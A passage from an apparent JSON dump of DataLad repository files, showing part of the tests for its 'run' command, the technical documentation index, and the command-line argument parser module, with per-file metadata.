assert_repo_status(ds.path)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_reglob_outputs(path=None):\\n ds = Dataset(path).create()\\n repo = ds.repo\\n (ds.pathobj / \\\"write_text.py\\\").write_text(\\\"\\\"\\\"\\nimport sys\\nassert len(sys.argv) == 2\\nname = sys.argv[1]\\nwith open(name + \\\".txt\\\", \\\"w\\\") as fh:\\n fh.write(name)\\n\\\"\\\"\\\")\\n ds.save(to_git=True)\\n cmd = [sys.executable, \\\"write_text.py\\\"]\\n\\n ds.run(cmd + [\\\"foo\\\"], outputs=[\\\"*.txt\\\"], expand=\\\"outputs\\\")\\n assert_in(\\\"foo.txt\\\", last_commit_msg(repo))\\n\\n ds.run(cmd + [\\\"bar\\\"], outputs=[\\\"*.txt\\\"], explicit=True)\\n ok_exists(str(ds.pathobj / \\\"bar.txt\\\"))\\n assert_repo_status(ds.path)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_unexpanded_placeholders(path=None):\\n ds = Dataset(path).create()\\n cmd = [sys.executable, \\\"-c\\\",\\n \\\"import sys; open(sys.argv[1], 'w').write(' '.join(sys.argv[2:]))\\\"]\\n\\n # It's weird, but for lack of better options, inputs and outputs that don't\\n # have matches are available unexpanded.\\n\\n with assert_raises(IncompleteResultsError):\\n ds.run(cmd + [\\\"arg1\\\", \\\"{inputs}\\\"], inputs=[\\\"foo*\\\"],\\n on_failure=\\\"continue\\\")\\n assert_repo_status(ds.path)\\n ok_file_has_content(op.join(path, \\\"arg1\\\"), \\\"foo*\\\")\\n\\n ds.run(cmd + [\\\"arg2\\\", \\\"{outputs}\\\"], outputs=[\\\"bar*\\\"])\\n assert_repo_status(ds.path)\\n ok_file_has_content(op.join(path, \\\"arg2\\\"), \\\"bar*\\\")\\n\\n ds.run(cmd + [\\\"arg3\\\", \\\"{outputs[1]}\\\"], outputs=[\\\"foo*\\\", \\\"bar\\\"])\\n ok_file_has_content(op.join(path, \\\"arg3\\\"), \\\"bar\\\")\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_empty_repo(path=None):\\n ds = Dataset(path).create()\\n cmd = [sys.executable, \\\"-c\\\", \\\"open('foo', 'w').write('')\\\"]\\n # Using \\\"*\\\" in a completely empty repo will fail.\\n with assert_raises(IncompleteResultsError):\\n ds.run(cmd, inputs=[\\\"*\\\"], on_failure=\\\"stop\\\")\\n assert_repo_status(ds.path)\\n # \\\".\\\" will work okay, though.\\n assert_status(\\\"ok\\\", ds.run(cmd, inputs=[\\\".\\\"]))\\n assert_repo_status(ds.path)\\n ok_exists(str(ds.pathobj / \\\"foo\\\"))\\n\\n\\n@with_tree(tree={\\\"foo\\\": \\\"f\\\", \\\"bar\\\": \\\"b\\\"})\\ndef test_dry_run(path=None):\\n ds = Dataset(path).create(force=True)\\n\\n # The dataset is reported as dirty, and the custom result render relays\\n # that to the default renderer.\\n with swallow_outputs() as cmo:\\n with assert_raises(IncompleteResultsError):\\n ds.run(\\\"blah \\\", dry_run=\\\"basic\\\")\\n assert_in(\\\"run(impossible)\\\", cmo.out)\\n assert_not_in(\\\"blah\\\", cmo.out)\\n\\n ds.save()\\n\\n # unknown dry-run mode\\n assert_raises(ValueError, ds.run, 'blah', dry_run='absurd')\\n\\n with swallow_outputs() as cmo:\\n ds.run(\\\"blah \\\", dry_run=\\\"basic\\\")\\n assert_in(\\\"Dry run\\\", cmo.out)\\n assert_in(\\\"location\\\", cmo.out)\\n assert_in(\\\"blah\\\", cmo.out)\\n assert_not_in(\\\"expanded inputs\\\", cmo.out)\\n assert_not_in(\\\"expanded outputs\\\", cmo.out)\\n\\n with swallow_outputs() as cmo:\\n ds.run(\\\"blah {inputs} {outputs}\\\", dry_run=\\\"basic\\\",\\n inputs=[\\\"fo*\\\"], outputs=[\\\"b*r\\\"])\\n assert_in(\\n 'blah \\\"foo\\\" \\\"bar\\\"' if on_windows else \\\"blah foo bar\\\",\\n cmo.out)\\n assert_in(\\\"expanded inputs\\\", cmo.out)\\n assert_in(\\\"['foo']\\\", cmo.out)\\n assert_in(\\\"expanded outputs\\\", cmo.out)\\n assert_in(\\\"['bar']\\\", cmo.out)\\n\\n # Just the command.\\n with swallow_outputs() as cmo:\\n ds.run(\\\"blah \\\", dry_run=\\\"command\\\")\\n assert_not_in(\\\"Dry run\\\", cmo.out)\\n assert_in(\\\"blah\\\", cmo.out)\\n assert_not_in(\\\"inputs\\\", cmo.out)\\n\\n # The output file wasn't unlocked.\\n assert_repo_status(ds.path)\\n\\n # Subdaset handling\\n\\n subds = ds.create(\\\"sub\\\")\\n (subds.pathobj / \\\"baz\\\").write_text(\\\"z\\\")\\n ds.save(recursive=True)\\n\\n # If a subdataset is installed, it works as usual.\\n with swallow_outputs() as cmo:\\n ds.run(\\\"blah {inputs}\\\", dry_run=\\\"basic\\\", inputs=[\\\"sub/b*\\\"])\\n assert_in(\\n 'blah \\\"sub\\\\\\\\baz\\\"' if on_windows else 'blah sub/baz',\\n cmo.out)\\n\\n # However, a dry run will not do the install/reglob procedure.\\n ds.drop(\\\"sub\\\", what='all', reckless='kill', recursive=True)\\n with swallow_outputs() as cmo:\\n ds.run(\\\"blah {inputs}\\\", dry_run=\\\"basic\\\", inputs=[\\\"sub/b*\\\"])\\n assert_in(\\\"sub/b*\\\", cmo.out)\\n assert_not_in(\\\"baz\\\", cmo.out)\\n\\n\\n@with_tree(tree={OBSCURE_FILENAME + \\\".t\\\": \\\"obscure\\\",\\n \\\"normal.txt\\\": \\\"normal\\\"})\\ndef test_io_substitution(path=None):\\n files = [OBSCURE_FILENAME + \\\".t\\\", \\\"normal.txt\\\"]\\n ds = Dataset(path).create(force=True)\\n ds.save()\\n # prefix the content of any given file with 'mod::'\\n cmd = \\\"import sys; from pathlib import Path; t = [(Path(p), 'mod::' + Path(p).read_text()) for p in sys.argv[1:]]; [k.write_text(v) for k, v in t]\\\"\\n cmd_str = \\\"{} -c \\\\\\\"{}\\\\\\\" {{inputs}}\\\".format(sys.executable, cmd)\\n # this should run and not crash with permission denied\\n ds.run(cmd_str, inputs=[\\\"{outputs}\\\"], outputs=[\\\"*.t*\\\"],\\n result_renderer='disabled')\\n # all filecontent got the prefix\\n for f in files:\\n ok_((ds.pathobj / f).read_text().startswith('mod::'))\\n\\n # we could just ds.rerun() now, and it should work, but this would make\\n # rerun be a dependency of a core test\\n # instead just double-run, but with a non-list input-spec.\\n # should have same outcome\\n ds.run(cmd_str, inputs=\\\"{outputs}\\\", outputs=\\\"*.t*\\\",\\n result_renderer='disabled')\\n for f in files:\\n ok_((ds.pathobj / f).read_text().startswith('mod::mod::'))\\n\\n\\ndef test_format_iospecs():\\n seq = ['one', 'two']\\n eq_(seq, _format_iospecs(['{dummy}'], dummy=seq))\\n # garbage when combined with longer spec-sequences\\n # but this is unavoidable without introducing a whitelist\\n # of supported value types -- which would limit flexibility\\n eq_([\\\"['one', 'two']\\\", 'other'],\\n _format_iospecs(['{dummy}', 'other'], dummy=seq))\\n\\n\\ndef test_substitution_config():\\n # use a shim to avoid having to create an actual dataset\\n # the tested function only needs a `ds.config` to be a ConfigManager\\n from datalad import cfg\\n\\n class dset:\\n config = cfg\\n\\n # empty be default\\n eq_(_get_substitutions(dset), {})\\n # basic access\\n with patch_config({\\\"datalad.run.substitutions.dummy\\\": 'ork'}):\\n eq_(_get_substitutions(dset), dict(dummy='ork'))\\n # can report multi-value\\n with patch_config({\\\"datalad.run.substitutions.dummy\\\": ['a', 'b']}):\\n eq_(_get_substitutions(dset), dict(dummy=['a', 'b']))\\n\\n # verify combo with iospec formatting\\n eq_(_format_iospecs(['{dummy}'],\\n **_get_substitutions(dset)),\\n ['a', 'b'])\\n\"\n },\n {\n \"alpha_fraction\": 0.7093862891197205,\n \"alphanum_fraction\": 0.7129963636398315,\n \"avg_line_length\": 31.58823585510254,\n \"blob_id\": \"33a294ab0185f02155de3e3303344f48719cd4c7\",\n \"content_id\": \"6a99e51ae803a30b505b3c72b7e460bb01ca5c5c\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 2216,\n \"license_type\": \"permissive\",\n \"max_line_length\": 131,\n \"num_lines\": 68,\n \"path\": \"/docs/source/index.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"DataLad |---| data management and publication multitool\\n*******************************************************\\n\\nWelcome to DataLad's **technical documentation**. Information here is targeting\\nsoftware developers and is focused on the Python API and :term:`CLI`, as well\\nas software design, employed technologies, and key features. Comprehensive\\n**user documentation** with information on installation, basic operation,\\nsupport, and (advanced) use case descriptions is available in the `DataLad\\nhandbook <http://handbook.datalad.org>`_.\\n\\nContent\\n^^^^^^^\\n\\n.. toctree::\\n :maxdepth: 1\\n\\n changelog\\n acknowledgements\\n publications\\n\\nConcepts and technologies\\n=========================\\n\\n.. toctree::\\n :maxdepth: 2\\n\\n background\\n related\\n basics\\n credentials\\n customization\\n design/index\\n glossary\\n\\nCommands and API\\n================\\n\\n.. toctree::\\n :maxdepth: 2\\n\\n cmdline\\n modref\\n config\\n\\nExtension packages\\n==================\\n\\nDataLad can be customized and additional functionality can be integrated via\\nextensions. Each extension provides its own documentation:\\n\\n- `Crawling web resources and automated data distributions <http://docs.datalad.org/projects/crawler>`_\\n- `Neuroimaging data and workflows <http://docs.datalad.org/projects/neuroimaging>`_\\n- `Containerized computational environments <http://docs.datalad.org/projects/container>`_\\n- `Advanced metadata tooling with JSON-LD reporting and additional metadata extractors <http://docs.datalad.org/projects/metalad>`_\\n- `Staged additions, performance and user experience improvements for DataLad <http://docs.datalad.org/projects/next>`_\\n- `Resources for working with the UKBiobank as a DataLad dataset <http://docs.datalad.org/projects/ukbiobank>`_\\n- `Deposit and retrieve DataLad datasets via the Open Science Framework <http://docs.datalad.org/projects/osf>`_\\n- `Functionality that has been phased out of the core package <http://docs.datalad.org/projects/deprecated>`_\\n- `Special interest functionality or drafts of future additions to DataLad proper <http://docs.datalad.org/projects/mihextras>`_\\n\\nIndices and tables\\n==================\\n\\n* :ref:`genindex`\\n* :ref:`modindex`\\n* :ref:`search`\\n\\n.. |---| unicode:: U+02014 .. em dash\\n\"\n },\n {\n \"alpha_fraction\": 0.6223336458206177,\n \"alphanum_fraction\": 0.6250462532043457,\n \"avg_line_length\": 39.15016555786133,\n \"blob_id\": \"9b39861ef5932b3ade87eda32c39f765743ec9d7\",\n \"content_id\": \"b3c44026ca29644c749a1e625e9385a3b3a598ea\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 24331,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 606,\n \"path\": \"/datalad/cli/parser.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"Components to build the parser instance for the CLI\\n\\nThis module must import (and run) really fast for a responsive CLI.\\nIt is unconditionally imported by the main() entrypoint.\\n\\\"\\\"\\\"\\n\\n# ATTN!\\n# All top-imports are limited to functionality that is necessary for the\\n# non-error case of constructing of a single target command parser only.\\n# For speed reasons, all other imports necessary for special cases,\\n# like error handling, must be done conditionally in-line.\\n\\nimport argparse\\nimport logging\\nimport sys\\nfrom collections import defaultdict\\nfrom functools import partial\\n\\nfrom datalad import __version__\\nfrom datalad.interface.base import (\\n get_cmd_doc,\\n get_interface_groups,\\n is_api_arg,\\n load_interface,\\n)\\nfrom datalad.support.constraints import EnsureChoice\\nfrom datalad.utils import getargspec\\n\\nfrom .common_args import common_args\\nfrom .exec import call_from_parser\\nfrom .helpers import get_commands_from_groups\\nfrom .interface import (\\n alter_interface_docs_for_cmdline,\\n get_cmd_ex,\\n get_cmdline_command_name,\\n)\\n\\n# special case imports\\n# .helpers import add_entrypoints_to_interface_groups\\n# .helpers.get_description_with_cmd_summary\\n# .helpers.get_commands_from_groups\\n# .utils.get_suggestions_msg,\\n# .interface._known_extension_commands\\n# .interface._deprecated_commands\\n\\nlgr = logging.getLogger('datalad.cli.parser')\\n\\n\\nhelp_gist = \\\"\\\"\\\"\\\\\\nComprehensive data management solution\\n\\nDataLad provides a unified data distribution system built on the Git\\nand Git-annex. DataLad command line tools allow to manipulate (obtain,\\ncreate, update, publish, etc.) datasets and provide a comprehensive\\ntoolbox for joint management of data and code. Compared to Git/annex\\nit primarily extends their functionality to transparently and\\nsimultaneously work with multiple inter-related repositories.\\\"\\\"\\\"\\n\\n\\n# TODO: OPT look into making setup_parser smarter to become faster\\n# Now it seems to take up to 200ms to do all the parser setup\\n# even though it might not be necessary to know about all the commands etc.\\n# I wondered if it could somehow decide on what commands to worry about etc\\n# by going through sys.args first\\ndef setup_parser(\\n cmdlineargs,\\n formatter_class=argparse.RawDescriptionHelpFormatter,\\n return_subparsers=False,\\n completing=False,\\n help_ignore_extensions=False):\\n \\\"\\\"\\\"\\n The holy grail of establishing CLI for DataLad's Interfaces\\n\\n Parameters\\n ----------\\n cmdlineargs: sys.argv\\n Used to make some shortcuts when construction of a full parser can be\\n avoided.\\n formatter_class:\\n Passed to argparse\\n return_subparsers: bool, optional\\n is used ATM only by BuildManPage in _datalad_build_support\\n completing: bool, optional\\n Flag to indicate whether the process was invoked by argcomplete\\n help_ignore_extensions: bool, optional\\n Prevent loading of extension entrypoints when --help is requested.\\n This is enabled when building docs to avoid pollution of generated\\n manpages with extensions commands (that should appear in their own\\n docs, but not in the core datalad package docs)\\n \\\"\\\"\\\"\\n lgr.log(5, \\\"Starting to setup_parser\\\")\\n\\n # main parser\\n parser = ArgumentParserDisableAbbrev(\\n fromfile_prefix_chars=None,\\n prog='datalad',\\n # usage=\\\"%(prog)s ...\\\",\\n description=help_gist,\\n formatter_class=formatter_class,\\n add_help=False,\\n # TODO: when dropping support for Python 3.8: uncomment below\\n # and use parse_known_args instead of _parse_known_args:\\n # # set to False so parse_known_args does not add its error handling\\n # # Added while RFing from using _parse_known_args to parse_known_args.\\n # exit_on_error=False,\\n )\\n\\n # common options\\n parser_add_common_options(parser)\\n\\n # get all interface definitions from datalad-core\\n interface_groups = get_interface_groups()\\n\\n # try to figure out whether the parser construction can be limited to\\n # a single (sub)command -- don't even try to do this, when we are in\\n # any of the doc-building capacities -- timing is not relevant there\\n status, parseinfo = single_subparser_possible(\\n cmdlineargs,\\n parser,\\n completing,\\n ) if not return_subparsers else ('allparsers', None)\\n\\n command_provider = 'core'\\n\\n if status == 'allparsers' and not help_ignore_extensions:\\n from .helpers import add_entrypoints_to_interface_groups\\n add_entrypoints_to_interface_groups(interface_groups)\\n\\n # when completing and we have no incomplete option or parameter\\n # we still need to offer all commands for completion\\n if (completing and status == 'allknown') or (\\n status == 'subcommand' and parseinfo not in\\n get_commands_from_groups(interface_groups)):\\n # we know the command is not in the core package\\n # still a chance it could be in an extension\\n command_provider = 'extension'\\n # we need the full help, or we have a potential command that\\n # lives in an extension, must load all extension, expensive\\n from .helpers import add_entrypoints_to_interface_groups\\n\\n # need to load all the extensions and try again\\n # TODO load extensions one-by-one and stop when a command was found\\n add_entrypoints_to_interface_groups(interface_groups)\\n\\n if status == 'subcommand':\\n known_commands = get_commands_from_groups(interface_groups)\\n if parseinfo not in known_commands:\\n # certainly not possible to identify a single parser that\\n # could be constructed, but we can be helpful\\n # will sys.exit() unless we are completing\\n try_suggest_extension_with_command(\\n parser, parseinfo, completing, known_commands)\\n # in completion mode we can get here, even for a command\\n # that does not exist at all!\\n command_provider = None\\n\\n # TODO check if not needed elsewhere\\n if status == 'help' or completing and status in ('allknown', 'unknownopt'):\\n # --help specification was delayed since it causes immediate\\n # printout of\\n # --help output before we setup --help for each command\\n parser_add_common_opt(parser, 'help')\\n\\n all_parsers = {} # name: (sub)parser\\n\\n if (completing and status == 'allknown') or status \\\\\\n in ('allparsers', 'subcommand', 'error'):\\n # parseinfo could be None here, when we could not identify\\n # a subcommand, but need to locate matching ones for\\n # completion\\n # create subparser, use module suffix as cmd name\\n subparsers = parser.add_subparsers()\\n for _, _, _interfaces \\\\\\n in sorted(interface_groups, key=lambda x: x[1]):\\n for _intfspec in _interfaces:\\n cmd_name = get_cmdline_command_name(_intfspec)\\n if status == 'subcommand':\\n # in case only a subcommand is desired, we could\\n # skip some processing\\n if command_provider and cmd_name != parseinfo:\\n # a known command, but know what we are looking for\\n continue\\n if command_provider is None and not cmd_name.startswith(\\n parseinfo):\\n # an unknown command, and has no common prefix with\\n # the current command candidate, not even good\\n # for completion\\n continue\\n subparser = add_subparser(\\n _intfspec,\\n subparsers,\\n cmd_name,\\n formatter_class,\\n completing=completing,\\n )\\n if subparser: # interface can fail to load\\n all_parsers[cmd_name] = subparser\\n\\n # \\\"main\\\" parser is under \\\"datalad\\\" name\\n all_parsers['datalad'] = parser\\n lgr.log(5, \\\"Finished setup_parser\\\")\\n if return_subparsers:\\n # TODO why not pull the subparsers from the main parser?\\n return all_parsers\\n else:\\n return parser\\n\\n\\ndef setup_parser_for_interface(parser, cls, completing=False):\\n # XXX needs safety check for name collisions\\n # XXX allow for parser kwargs customization\\n # get the signature, order of arguments is taken from it\\n ndefaults = 0\\n args, varargs, varkw, defaults = getargspec(\\n cls.__call__, include_kwonlyargs=True)\\n if defaults is not None:\\n ndefaults = len(defaults)\\n default_offset = ndefaults - len(args)\\n prefix_chars = parser.prefix_chars\\n for i, arg in enumerate(args):\\n if not is_api_arg(arg):\\n continue\\n\\n param = cls._params_[arg]\\n defaults_idx = default_offset + i\\n if param.cmd_args == tuple():\\n # explicitly provided an empty sequence of argument names\\n # this shall not appear in the parser\\n continue\\n\\n # set up the parameter\\n setup_parserarg_for_interface(\\n parser, arg, param, defaults_idx, prefix_chars, defaults,\\n completing=completing)\\n\\n\\ndef setup_parserarg_for_interface(parser, param_name, param, defaults_idx,\\n prefix_chars, defaults, completing=False):\\n cmd_args = param.cmd_args\\n parser_kwargs = param.cmd_kwargs\\n has_default = defaults_idx >= 0\\n if cmd_args:\\n if cmd_args[0][0] in prefix_chars:\\n # TODO: All the Parameter(args=...) values in this code\\n # base use hyphens, so there is no point in the below\\n # conversion. If it looks like no extensions rely on this\\n # behavior either, this could be dropped.\\n parser_args = [c.replace('_', '-') for c in cmd_args]\\n else:\\n # Argparse will not convert dashes to underscores for\\n # arguments that don't start with a prefix character, so\\n # the above substitution must be avoided so that\\n # call_from_parser() can find the corresponding parameter.\\n parser_args = cmd_args\\n elif has_default:\\n # Construct the option from the Python parameter name.\\n parser_args = (\\\"--{}\\\".format(param_name.replace(\\\"_\\\", \\\"-\\\")),)\\n else:\\n # If args= wasn't given and its a positional argument in the\\n # function, add a positional argument to argparse. If `dest` is\\n # specified, we need to remove it from the keyword arguments\\n # because add_argument() expects it as the first argument. Note\\n # that `arg` shouldn't have a dash here, but `metavar` can be\\n # used if a dash is preferred for the command-line help.\\n parser_args = (parser_kwargs.pop(\\\"dest\\\", param_name),)\\n\\n if has_default:\\n parser_kwargs['default'] = defaults[defaults_idx]\\n if param.constraints is not None:\\n parser_kwargs['type'] = param.constraints\\n if completing:\\n help = None\\n # if possible, define choices to enable their completion\\n if 'choices' not in parser_kwargs and \\\\\\n isinstance(param.constraints, EnsureChoice):\\n parser_kwargs['choices'] = [\\n c for c in param.constraints._allowed if c is not None]\\n else:\\n help = _amend_param_parser_kwargs_for_help(\\n parser_kwargs, param,\\n defaults[defaults_idx] if defaults_idx >= 0 else None)\\n # create the parameter, using the constraint instance for type\\n # conversion\\n parser.add_argument(*parser_args, help=help,\\n **parser_kwargs)\\n\\n\\ndef _amend_param_parser_kwargs_for_help(parser_kwargs, param, default=None):\\n if 'metavar' not in parser_kwargs and \\\\\\n isinstance(param.constraints, EnsureChoice):\\n parser_kwargs['metavar'] = \\\\\\n '{%s}' % '|'.join(\\n # don't use short_description(), because\\n # it also needs to give valid output for\\n # Python syntax (quotes...), but here we\\n # can simplify to shell syntax where everything\\n # is a string\\n p for p in param.constraints._allowed\\n # in the cmdline None pretty much means\\n # don't give the options, so listing it\\n # doesn't make sense. Moreover, any non-string\\n # value cannot be given and very likely only\\n # serves a special purpose in the Python API\\n # or implementation details\\n if isinstance(p, str))\\n help = alter_interface_docs_for_cmdline(param._doc)\\n if help:\\n help = help.rstrip()\\n if help[-1] != '.':\\n help += '.'\\n if param.constraints is not None:\\n help += _get_help_for_parameter_constraint(param)\\n if default is not None and \\\\\\n not parser_kwargs.get('action', '').startswith('store_'):\\n # if it is a flag, in commandline it makes little sense to show\\n # showing the Default: (likely boolean).\\n # See https://github.com/datalad/datalad/issues/3203\\n help += \\\" [Default: %r]\\\" % (default,)\\n return help\\n\\n\\ndef _get_help_for_parameter_constraint(param):\\n # include value constraint description and default\\n # into the help string\\n cdoc = alter_interface_docs_for_cmdline(\\n param.constraints.long_description())\\n if cdoc[0] == '(' and cdoc[-1] == ')':\\n cdoc = cdoc[1:-1]\\n return ' Constraints: %s' % cdoc\\n\\n\\ndef single_subparser_possible(cmdlineargs, parser, completing):\\n \\\"\\\"\\\"Performs early analysis of the cmdline\\n\\n Looks at the first unparsed argument and if a known command,\\n would return only that one.\\n\\n When a plain command invocation with `--version` is detected, it will be\\n acted on directly (until sys.exit(0) to avoid wasting time on unnecessary\\n further processing.\\n\\n Returns\\n -------\\n {'error', 'allknown', 'help', 'unknownopt', 'subcommand'}, None or str\\n Returns a status label and a parameter for this status.\\n 'error': parsing failed, 'allknown': the parser successfully\\n identified all arguments, 'help': a help request option was found,\\n 'unknownopt': an unknown or incomplete option was found,\\n 'subcommand': a potential subcommand name was found. For the latter\\n two modes the second return value is the option or command name.\\n For all other modes the second return value is None.\\n \\\"\\\"\\\"\\n # Before doing anything additional and possibly expensive see may be that\\n # we have got the command already\\n try:\\n parsed_args, unparsed_args = parser._parse_known_args(\\n cmdlineargs[1:], argparse.Namespace())\\n # before anything handle possible datalad --version\\n if not unparsed_args and getattr(parsed_args, 'version', None):\\n parsed_args.version() # will exit with 0\\n if not (completing or unparsed_args):\\n # there was nothing that could be a command\\n fail_with_short_help(\\n parser,\\n msg=\\\"too few arguments, \\\"\\n \\\"run with --help or visit https://handbook.datalad.org\\\",\\n exit_code=2)\\n lgr.debug(\\\"Command line args 1st pass for DataLad %s. \\\"\\n \\\"Parsed: %s Unparsed: %s\\\",\\n __version__, parsed_args, unparsed_args)\\n except Exception as exc:\\n # this did not work out\\n from datalad.support.exceptions import CapturedException\\n ce = CapturedException(exc)\\n lgr.debug(\\\"Early parsing failed with %s\\\", ce)\\n return 'error', None\\n\\n if not unparsed_args:\\n # cannot possibly be a subcommand\\n return 'allknown', None\\n\\n unparsed_arg = unparsed_args[0]\\n\\n # First unparsed could be either unknown option to top level \\\"datalad\\\"\\n # or a command. Among unknown could be --help/--help-np which would\\n # need to be dealt with\\n if unparsed_arg in ('--help', '--help-np', '-h'):\\n # not need to try to tune things, all these will result in everything\\n # to be imported and parsed\\n return 'help', None\\n elif unparsed_arg.startswith('-'): # unknown or incomplete option\\n if completing:\\n return 'unknownopt', unparsed_arg\\n # will sys.exit\\n fail_with_short_help(parser,\\n msg=f\\\"unrecognized argument {unparsed_arg}\\\",\\n # matches exit code of InsufficientArgumentsError\\n exit_code=2)\\n else: # potential command to handle\\n return 'subcommand', unparsed_arg\\n\\n\\ndef try_suggest_extension_with_command(parser, cmd, completing, known_cmds):\\n \\\"\\\"\\\"If completing=False, this function will trigger sys.exit()\\\"\\\"\\\"\\n # check if might be coming from known extensions\\n from .interface import (\\n _deprecated_commands,\\n _known_extension_commands,\\n )\\n extension_commands = {\\n c: e\\n for e, commands in _known_extension_commands.items()\\n for c in commands\\n }\\n hint = None\\n if cmd in extension_commands:\\n hint = \\\"Command %s is provided by (not installed) extension %s.\\\" \\\\\\n % (cmd, extension_commands[cmd])\\n elif cmd in _deprecated_commands:\\n hint_cmd = _deprecated_commands[cmd]\\n hint = \\\"Command %r was deprecated\\\" % cmd\\n hint += (\\\" in favor of %r command.\\\" % hint_cmd) if hint_cmd else '.'\\n if not completing:\\n fail_with_short_help(\\n parser,\\n hint=hint,\\n provided=cmd,\\n known=list(known_cmds.keys()) + list(extension_commands.keys())\\n )\\n\\n\\ndef add_subparser(_intfspec, subparsers, cmd_name, formatter_class,\\n completing=False):\\n \\\"\\\"\\\"Given an interface spec, add a subparser to subparsers under cmd_name\\n \\\"\\\"\\\"\\n _intf = load_interface(_intfspec)\\n if _intf is None:\\n # failed to load, error was already logged\\n return\\n\\n # compose argparse.add_parser() arguments, focused on docs\\n parser_args = dict(formatter_class=formatter_class)\\n # use class description, if no explicit description is available\\n intf_doc = get_cmd_doc(_intf)\\n if not completing:\\n parser_args['description'] = alter_interface_docs_for_cmdline(\\n intf_doc)\\n if hasattr(_intf, '_examples_'):\\n intf_ex = alter_interface_docs_for_cmdline(get_cmd_ex(_intf))\\n parser_args['description'] += intf_ex\\n\\n # create the sub-parser\\n subparser = subparsers.add_parser(cmd_name, add_help=False, **parser_args)\\n # our own custom help for all commands, we must do it here\\n # (not in setup_parser_for_interface()) because the top-level parser must\\n # not unconditionally have it available initially\\n parser_add_common_opt(subparser, 'help')\\n # let module configure the parser\\n setup_parser_for_interface(subparser, _intf, completing=completing)\\n # and we would add custom handler for --version\\n parser_add_version_opt(\\n subparser, _intf.__module__.split('.', 1)[0], include_name=True)\\n # logger for command\\n # configure 'run' function for this command\\n plumbing_args = dict(\\n # this is the key execution handler\\n func=partial(call_from_parser, _intf),\\n # use the logger of the module that defined the interface\\n logger=logging.getLogger(_intf.__module__),\\n subparser=subparser)\\n if hasattr(_intf, 'result_renderer_cmdline'):\\n plumbing_args['result_renderer'] = _intf.result_renderer_cmdline\\n subparser.set_defaults(**plumbing_args)\\n return subparser\\n\\n\\nclass ArgumentParserDisableAbbrev(argparse.ArgumentParser):\\n # Don't accept abbreviations for long options. This kludge was originally\\n # added at a time when our minimum required Python version was below 3.5,\\n # preventing us from using allow_abbrev=False. Now our minimum Python\\n # version is high enough, but we still can't use allow_abbrev=False because\\n # it suffers from the problem described in 6b3f2fffe (BF: cmdline: Restore\\n # handling of short options, 2018-07-23).\\n #\\n # Modified from the solution posted at\\n # https://bugs.python.org/issue14910#msg204678\\n def _get_option_tuples(self, option_string):\\n chars = self.prefix_chars\\n if option_string[0] in chars and option_string[1] in chars:\\n # option_string is a long flag. Disable abbreviation.\\n return []\\n return super(ArgumentParserDisableAbbrev, self)._get_option_tuples(\\n option_string)\\n\\n\\ndef parser_add_common_opt(parser, opt, names=None, **kwargs):\\n opt_tmpl = common_args[opt]\\n opt_kwargs = opt_tmpl[1].copy()\\n opt_kwargs.update(kwargs)\\n if names is None:\\n parser.add_argument(*opt_tmpl[0], **opt_kwargs)\\n else:\\n parser.add_argument(*names, **opt_kwargs)\\n\\n\\ndef parser_add_common_options(parser, version=None):\\n \\\"\\\"\\\"Add all options defined in common_args, but excludes 'help'\\\"\\\"\\\"\\n # populate with standard options\\n for arg in common_args:\\n if arg == 'help':\\n continue\\n parser_add_common_opt(parser, arg)\\n # special case version arg\\n if version is not None:\\n import warnings\\n warnings.warn(\\\"Passing 'version' to parser_add_common_options \\\"\\n \\\"no longer has an effect \\\"\\n \\\"and will be removed in a future release.\\\",\\n DeprecationWarning)\\n parser_add_version_opt(parser, 'datalad', include_name=True, delay=True)\\n\\n\\ndef parser_add_version_opt(parser, mod_name, include_name=False, delay=False):\\n \\\"\\\"\\\"Setup --version option\\n\\n Parameters\\n ----------\\n parser:\\n mod_name: str, optional\\n include_name: bool, optional\\n delay: bool, optional\\n If set to True, no action is taken immediately, and rather\\n we assign the function which would print the version. Necessary for\\n early pre-parsing of the cmdline\\n \\\"\\\"\\\"\\n\\n def print_version():\\n mod = sys.modules.get(mod_name, None)\\n version = getattr(mod, '__version__', None)\\n if version is None:\\n # Let's use the standard Python mechanism if underlying module\\n # did not provide __version__\\n try:\\n if sys.version_info < (3, 10):\\n import importlib_metadata as im\\n else:\\n import importlib.metadata as im\\n\\n pkg = im.packages_distributions()[mod_name][0]\\n version = im.version(pkg)\\n except Exception:\\n version = \\\"unknown\\\"\\n if include_name:\\n print(\\\"%s %s\\\" % (mod_name, version))\\n else:\\n print(version)\\n sys.exit(0)\\n\\n class versionAction(argparse.Action):\\n def __call__(self, parser, args, values, option_string=None):\\n if delay:\\n setattr(args, self.dest, print_version)\\n else:\\n print_version()\\n\\n parser.add_argument(\\n \\\"--version\\\",\\n nargs=0,\\n action=versionAction,\\n help=(\\n \\\"show the program's version\\\"\\n if not mod_name\\n else \\\"show the module and its version which provides the command\\\")\\n )\\n\\n\\ndef fail_with_short_help(parser=None,\\n msg=None,\\n known=None, provided=None,\\n hint=None,\\n exit_code=1,\\n what=\\\"command\\\",\\n out=None):\\n \\\"\\\"\\\"Generic helper to fail\\n with short help possibly hinting on what was intended if `known`\\n were provided\\n \\\"\\\"\\\"\\n out = out or sys.stderr\\n if msg:\\n out.write(\\\"error: %s\\\\n\\\" % msg)\\n if not known:\\n if parser:\\n parser_add_common_opt(parser, 'help')\\n # just to appear in print_usage also consistent with --help output\\n parser.add_argument(\\\"command [command-opts]\\\")\\n parser.print_usage(file=out)\\n else:\\n out.write(\\n \\\"datalad: Unknown %s %r. See 'datalad --help'.\\\\n\\\\n\\\"\\n % (what, provided,))\\n if provided not in known:\\n from datalad.utils import get_suggestions_msg\\n out.write(get_suggestions_msg(provided, known))\\n if hint:\\n out.write(\\\"Hint: %s\\\\n\\\" % hint)\\n raise SystemExit(exit_code)\\n\"\n },\n {\n \"alpha_fraction\": 0.5875251293182373,\n \"alphanum_fraction\": 